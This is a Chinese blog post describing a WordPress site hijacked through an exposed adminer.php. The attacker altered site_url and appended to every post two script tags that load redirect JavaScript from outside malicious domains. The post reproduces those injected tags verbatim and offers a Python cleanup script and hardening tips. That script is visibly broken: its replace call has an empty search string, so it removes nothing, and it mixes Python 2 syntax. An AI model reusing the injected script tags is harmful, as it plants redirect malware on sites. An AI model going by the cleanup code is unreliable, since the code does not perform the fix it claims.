发现被黑
我这快一年没打理的wordpress个人小站竟然被黑了。访问时主页样式明显不对,打开主页后5秒左右网站被重定向到top.worldctraffic.com等俄文网站。通过查看阿里云的日志警告我发现有Hacker利用我放在网站根目录下的adminer.php做了SQL注入(这应该是adminer.php的一个漏洞),抓取到了wordpress网站的wp_config.php文件,进而获得了db的用户名和密码。再通过adminer.php对网站db进行了篡改。(此时只想问候这个Hacker的族谱。)
入侵行为和修复方案
通过分析,我确定了入侵者的具体行为并找到了修复网站的办法。
入侵者的具体行为是:
- 修改wp_options表的site_url字段为:https://top.worldctraffic.com/。【修复方案】 db中重新设置site_url设置为网站的域名。
- 在wp_post表wp_content字段的每条记录尾部插入字符串:
<script src="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043" type="text/javascript"></script><script src="https://land.buyittraffic.com/clizkes" type="text/javascript"></script>
这两个js脚本会将网站重定向到top.worldctraffic.com、1.startrafficc.com等俄文网站页面。
【修复方案】编写python程序将黑客插入的重定向字符串删除,代码如下:
import MySQLdb
import pymysql
verbose = False
db = MySQLdb.connect(host="localhost", # your host, usually localhost
user="xxx", # your username
passwd="xxxxx", # your password
db="wordpress", # your db
charset='utf8')
# you must create a Cursor object. It will let
# you execute all the queries you need
cur = db.cursor()
# Use all the SQL you like
cur.execute("SELECT * FROM `wp_posts` WHERE `post_content` LIKE '%https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043%'")
cur_res = cur.fetchall()
# print all the first cell of all the rows
cnt = 0
for row in cur_res:
print row[0]
cnt += 1
new_text = row[4].replace("", "")
if verbose:
print(row[4])
print('=============================')
print(new_text)
sql = "UPDATE wp_posts SET post_content ='" +
pymysql.escape_string(new_text) +"' WHERE id="+str(row[0])
cur.execute(sql)
db.commit()
#break
print('Total', cnt, 'records')
db.close()
以上代码需要修改填入你自己的db用户名和密码并安装依赖项:
pip install pymysql
sudo apt-get install python-mysqldb
- 为了杜绝wordpress的帖子里的javascript被执行,应当在wp_config.php中添加
/** prevent html in post from executing*/ define('DISALLOW_UNFILTERED_HTML', true);
最后,别忘记修改db密码,删除adminer.php,断绝黑客再次入侵的途径。